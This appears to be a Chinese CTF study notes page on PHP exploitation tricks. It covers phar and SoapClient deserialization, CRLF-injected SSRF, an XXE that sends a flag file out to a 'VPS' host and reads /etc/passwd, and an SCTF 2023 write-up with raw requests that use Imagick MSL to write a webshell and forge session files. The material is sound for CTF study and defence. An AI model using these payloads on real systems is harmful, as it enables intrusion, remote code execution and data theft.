PHP的一些trick

会长期更新的系列,自用。

反序列化

Magic method

Primitive class

读文件名:

echo new GlobIterator('/f*');
echo new DirectoryIterator('glob:///f*');
echo new FilesystemIterator('glob:///f*');

读文件:

echo new SplFileObject('/flag')

phar

没有unserialize()时或许可以通过phar进行反序列化。

触发phar的函数:

能够利用的函数
fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile

利用phar的条件:

1)phar文件要能够上传至服务器

2)要有可用的魔术方法为跳板

3)文件操作函数的参数可控,且 : 、 / 、phar等特殊字符没有被过滤

4)php版本小于8

生成phar脚本:

<?php

class A {

}
 
class B {

}
 
class C {
    
}

@unlink("phar.phar");
$user = new B();
$phar = new Phar("phar.phar"); //生成phar.phar
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub,<?php 前的字符无所谓,GIF89a绕过图片头
$phar->setMetadata($user); //写入metadata
$phar->addFromString("exp.txt","Squirt1e"); //签名
$phar->stopBuffering();

?>

SoapClient::__call+反序列化+CRLF打SSRF

如果在代码审计中有反序列化点,但在代码中找不到pop链,可以利用php内置类来进行反序列化,SoapClient打SSRF比较常见。

首先测试下正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法,那么__call方法会POST一个本地请求从而绕过本机ip校验。

CRLF注入任意请求头:

用安洵杯的一道题做示范。

<?php
$target = "http://127.0.0.1:5555/flag.php?a=SplFileObject&b=/f1111llllllaagg";
$attack = new SoapClient(null,array('uri' => "123",'location' => $target,'user_agent' => "aaaa\r\nCookie: PHPSESSID=123456"));
$payload = serialize($attack);
$b=unserialize($payload);
$a="not_exists_function";
$b->a();

CRLF就是\r\n在HTTP报文中当换行用。user-agent注入Cookie成功。

CRLF注入任意POST数据

Content-Type不是可控的,但可以通过User-Agent伪造ContentType实现任意POST请求。

注:Content-Length也需要注入。

<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=123456'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'Squirt1e^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;

$c = unserialize($aaa);
$c->not_exists_function();
?>

php session

构造器的差异造成的反序列化。

像这种就可控。

ini_set($_GET['baby'], $_GET['d0g3']);
session_start();
————————————————————————————————————————————————————————
call_user_func($a,$_POST);
//$a=session_start  POST: serialize_handler=pphp_serialize

对于php_serialize构造器,序列化数据前面要加个’|’。

然后使用php构造器就能反序列化了,因为php构造器分割键为’|’。

可实例化类new $class($argv);

如果仅仅是可实例化任意类,并且能接受参数,那么此时该如何利用呢?其实无非就是找自定义类、内置类或者扩展类。

自定义类

实例化类时会触发构造函数,那么就会触发里面的代码。如果xxx为可以利用的函数,那么自然可以攻击。

class Evil {
    function __construct ($cmd) {
        // xxx
    }
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

一般不会出现这样的情况,即便目标服务中有这样的恶意类,但可能由于没有include而无法调用。

通过php中的自动加载函数可以找到全局自定义的类。因此利用面就从单个文件扩展到整个项目,前提是有注册回调spl_autoload_register或定义来设置的__autoload

spl_autoload_register(function ($class_name) {
        include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
        include $class_name . '.php';
};

spl_autoload_register();

内置类

内置类很多,但如果只能传递一个参数并且不对创建的对象进行方法调用,那么就很难找到合适的内置类了。

SplFileObject

SplFileObject实现了一个允许连接到任何本地或远程 URL 的构造函数。可以通过该类实现SSRF。

PHP < 8 中的 SSRF 可以通过 Phar 协议技术转化为反序列化。

因此,满足以下条件即可:

  1. 可上传文件,且路径已知。
  2. 存在pop
SimpleXMLElement

该类接收3个参数。

通过设置第三个参数dataIsURL true可以实现远程xml文件的加载。第二个参数的常量值设置为2即可。第一个参数 data 用于引入的外部实体的url。因此我们可以通过它打个XXE。

evil.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % remote SYSTEM "https://VPS/send.xml">
%remote;
%all;
%send;
]>

send.xml

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'https://VPS/?%payload;'>">

也可以直接读文件,就不需要第三个参数了。

<?xml version=\"1.0\"?><!DOCTYPE ANY [<!ENTITY f SYSTEM \"file:///etc/passwd\">]><x>&f;</x>

扩展类

Magick

Imagick拓展类是用于处理图像的,它是通过Magick Scripting Language语法来处理的。

这个语法可以用来写、转移文件,难点在于它只支持图片格式,如果不是它支持的图片格式的话就报错。

通过检索可知利用ppm图像文件格式的特点,可在末尾插入序列化数据而不影响图片的正常解析,这个东西就很妙。

例如SCTF 2023fumo_backdoor

<?php
error_reporting(0);
ini_set('open_basedir', __DIR__.":/tmp");
define("FUNC_LIST", get_defined_functions());

class fumo_backdoor {
    public $path = null;
    public $argv = null;
    public $func = null;
    public $class = null;
    
    public function __sleep() {
        if (
            file_exists($this->path) && 
            preg_match_all('/[flag]/m', $this->path) === 0
        ) {
            readfile($this->path);
        }
    }

    public function __wakeup() {
        $func = $this->func;
        if (
            is_string($func) && 
            in_array($func, FUNC_LIST["internal"])
        ) {
            call_user_func($func);
        } else {
            $argv = $this->argv;
            $class = $this->class;
            
            new $class($argv);
        }
    }
}

$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];

switch ($cmd) {
    case 'unserialze':
        unserialize($data);
        break;
    
    case 'rm':
        system("rm -rf /tmp 2>/dev/null");
        break;
    
    default:
        highlight_file(__FILE__);
        break;
}

这里如果web目录可写,我们可以直接写马。

通过vid模式,我们可以包含未知名称的MSL格式的临时文件,从而触发MSL语法达到写的目的。


<?php
$webshell = "<?php system('ls');?>";
echo base64_encode("P6\n9 9\n255\n" . str_repeat("A", 9 * 9 * 3 - strlen($webshell)) . $webshell);

数据包

POST /?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3BN%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Content-Length: 710
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979

--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="whatever"; filename="whatever"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE8P3BocCBzeXN0ZW0oJ2xzJyk7Pz4=" />
 <write filename="/var/www/html/b.php" />
</image>
--------------------------c32aaddf3d8fd979--

RCE

1687795236160

当然,一般情况下web目录没法写,这题也是,只不过为了测试改了权限。

此题的正确解法是想办法触发__sleep从而把flag读出来。

要触发__sleep必须要序列化,因此该题只能搞个session序列化从而触发__sleep了。

phpsession是在tmp目录下存放的,该目录一般都可写,并且名称是可控的。


<?php
class fumo_backdoor           //生成ppm格式的session内容
{
    public $path = null; 
    public $argv = null;
    public $func = null;
    public $class = null;
}

$fumo = new fumo_backdoor();
$fumo->path = "/tmp/squirt1e"; //readfile读取的文件,此时是空的。
$serialized = "|" . serialize($fumo);

echo base64_encode("P6\n9 9\n255\n" . str_repeat("A", 9 * 9 * 3 - strlen($serialized)) . $serialized);

数据包

POST /?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3BN%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Content-Length: 709
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979

--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="whatever"; filename="whatever"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czoxMzoiL3RtcC9zcXVpcnQxZSI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30=" />
 <write filename="/tmp/sess_squirt1e" />
</image>
--------------------------c32aaddf3d8fd979--

写成功。

1687795786583

接下来就要把flag带到/tmp/squirt1e中,因为题目设置了open_basedir,没办法直接读。我们需要找到一个对文件头要求不严格的文件协议并手动指定,因为flag不是图片,通过Imagick移动会导致报错。

最终发现mvguyvyRGB三种格式可以利用。

1687796509728

前两个亲测可用。

<?xml version="1.0" encoding="UTF-8"?>
<group>

<image>
<read filename="mvg:/flag" />
<write filename="/tmp/squirt1e" />
</image>
</group>

最后一个参考作者的exp没成功,记录一下吧,万一以后用得到呢。

<?xml version="1.0" encoding="UTF-8"?>
<group>
<!-- step2: copy flag -->
<image id="a1">
<!-- 设置为RGB格式,读取flag -->
<read size="{img_size}x1" filename="rgb:/flag"/>
</image>
<image id="w1">
<!-- 设置⼀个空图⽚ -->
<read size="10x10" filename="null:"/>
<!-- 将空图⽚和flag数据进⾏拼接 -->
<composite image="a1" geometry="+0"/>
<write filename="rgb:/tmp/ttt1"/>
</image>
<image id="a2">
<!-- 添加偏移后,读取flag -->
<read size="{img_size}x1+1" filename="rgb:/flag"/>
</image>
<image id="w2">
<read size="10x10" filename="null:"/>
<composite image="w1" geometry="+0"/>
<!-- 将上⼀张图⽚和这次读取的flag进⾏拼接 -->
<composite image="a2" geometry="+1"/>
<write filename="rgb:/tmp/ttt1"/>
</image>
<!-- 不断重复,如果读取超出范围,便会报错,并留下上⼀次写⼊的⽂件 -->
<image id="a3">
<read size="{img_size}x1+2" filename="rgb:/flag"/>
</image>
<image id="w3">
<read size="10x10" filename="null:"/>
<composite image="w2" geometry="+0"/>
<composite image="a3" geometry="+2"/>
<write filename="rgb:/tmp/ttt1"/>
</image>
<image id="a4">
<read size="{img_size}x1+3" filename="rgb:/flag"/>
</image>
<image id="w4">
<read size="10x10" filename="null:"/>
<composite image="w3" geometry="+0"/>
<composite image="a4" geometry="+3"/>
<write filename="rgb:/tmp/ttt1"/>
</image>
<image id="a5">
<read size="{img_size}x1+4" filename="rgb:/flag"/>
</image>
<image id="w5">
<read size="10x10" filename="null:"/>
<composite image="w4" geometry="+0"/>
<composite image="a5" geometry="+4"/>
<write filename="rgb:/tmp/ttt1"/>
</image>
<image id="a6">
<read size="{img_size}x1+5" filename="rgb:/flag"/>
</image>
<image id="w6">
<read size="10x10" filename="null:"/>
<composite image="w5" geometry="+0"/>
<composite image="a6" geometry="+5"/>
<write filename="rgb:/tmp/ttt1"/>
</image>
</group>

一些脏trick

php session not started

想办法整个session,利⽤SESSION UPLOAD PROGRESS创建⼀个 session,这样就可以看到源码了

POST / HTTP/1.1
Host: 115.239.215.75:8081
Cookie: PHPSESSID=1
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979
Content-Length: 204

--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS";
Content-Type: application/octet-stream

1
--------------------------c32aaddf3d8fd979--

绕过md5以及sha1强比较

利用 Error/Exception 内置类进行hash绕过。

$a = new Error("null",1);$b = new Error("null",1);